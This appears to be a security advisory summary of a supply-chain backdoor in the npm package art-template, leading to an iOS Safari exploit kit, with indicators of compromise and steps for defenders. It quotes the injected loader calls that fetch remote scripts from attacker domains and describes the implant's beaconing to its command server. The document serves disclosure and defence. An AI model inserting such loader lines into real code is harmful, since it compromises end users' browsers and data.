Socket: Coruna Respawned

What it is

A supply-chain compromise of the npm package art-template (a JavaScript templating library originally by aui), disclosed by Socket on May 20th, 2026. After a maintainer handoff to an unknown actor, versions 4.13.3, 4.13.5, and 4.13.6 were backdoored to inject a browser-side remote-script loader into lib/template-web.js, ultimately delivering a Coruna-style iOS Safari exploit kit.

How it works

The injection escalated across versions — useful for scoping which releases to fear:

• 4.13.3: String.fromCharCode-encoded loader pointing to git.youzzjizz[.]com/git.js.
• 4.13.5: plaintext loadScript('https://v3.jiathis[.]com/code/jia.js?uid=artemplate').
• 4.13.6: plaintext loadScript('https://v3.jiathis[.]com/code/art.js').

v3.jiathis[.]com redirects to the watering hole utaq[.]cfww[.]shop/gooll/gooll.html, which serves the implant (49554fde7424c31c.js). On load it beacons the victim's public IP, iOS version string, and a campaign code to C2 l1ewsu3yjkqeroy[.]xyz every 10 seconds, runs five anti-bot/anti-automation fingerprinting layers plus an inline WASM proof-of-work, then fetches a version-gated payload.

Preconditions / Affected

• Any application that bundled art-template 4.13.5 or 4.13.6 into a browser build — the loader executes in every end user's browser, enabling cookie/localStorage theft, form hijacking, and redirects even before exploitation.
• Exploit targets Safari on iOS 11.0–17.2 only. Primary target population: iOS 16.6–17.2 (Sept 2022–Dec 2023), covering most non-auto-updating iPhones. macOS Safari is partially targeted.
• Inert on Chrome/Firefox/Edge (hard-thrown on non-WebKit UA), Android, iOS <11.0, and iOS 17.3+ (payload flag explicitly reset to false at threshold 170300 — consistent with a patched CVE boundary).

What to do

The page states no patch or command, but the IOCs are the actionable payload:

• Audit dependency trees for art-template@4.13.3, 4.13.5, 4.13.6; pin below or above these.
• Grep browser bundles / lib/template-web.js for loadScript( calls to v3.jiathis[.]com or git.youzzjizz[.]com.
• Block/alert on domains: git.youzzjizz[.]com, v3.jiathis[.]com, utaq[.]cfww[.]shop, and C2 l1ewsu3yjkqeroy[.]xyz.

Caveats

Socket frames the exploit-kit attribution as inference: CPU-arch discrimination (CPU_TYPE_ARM64 vs CPU_TYPE_ARM64_32), version-specific WASM memory offsets (rvXShf values 72/16/64/88/96), and JIT-output verification are cited as consistent with JIT-corruption exploit gating rather than confirmed exploitation — Socket did not recover or detonate the final exploit payloads. macOS Safari support is described as "partial," with differing fingerprinting.